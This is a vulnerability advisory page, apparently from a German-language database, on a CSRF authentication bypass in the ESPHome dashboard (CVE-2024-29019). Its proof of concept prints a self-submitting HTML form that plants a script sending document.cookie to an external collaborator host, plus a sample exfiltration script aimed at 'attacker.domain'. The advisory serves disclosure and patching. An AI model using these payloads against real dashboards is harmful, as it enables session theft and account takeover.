ESPHome vulnerable to Authentication bypass via Cross site request forgery
Summary
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).
Details
It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.
PoC
An example of malicious web page that abuses this vulnerability:
<html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> " /> </form><script>
document.forms[0].submit();
</script>
<script>
</script>
In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.
Example of such script:
<script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>Impact
This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.
In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | esphome | >= 2023.12.9, < 2024.3.0 | 2024.3.0 |
Verweise
- https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99
- https://nvd.nist.gov/vuln/detail/CVE-2024-29019
- https://github.com/esphome/esphome/pull/6396
- https://github.com/esphome/esphome/pull/6397
- https://github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74
- https://github.com/advisories/GHSA-9p43-hj5j-96h5
- https://github.com/esphome/esphome
- https://github.com/esphome/esphome/releases/tag/2024.3.0
- https://pypi.org/project/esphome
- https://github.com/advisories/GHSA-5925-88xh-6h99
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-352- Plattform
- Python (PyPI)
- Paket
esphome- Veröffentlicht
- 21.03.2024
- Aktualisiert
- 11.10.2026 13:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-1327 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-5925-88xh-6h99 - CC BY 4.0
Schwachstellenhistorie: esphome
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 09.2021 01.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 4
- Mittel 2
Veröffentlichungen pro Jahr
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 3
- 2025: 1
- 2026: 1
-
ESPHome vulnerable to Authentication bypass via Cross site request forgery dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.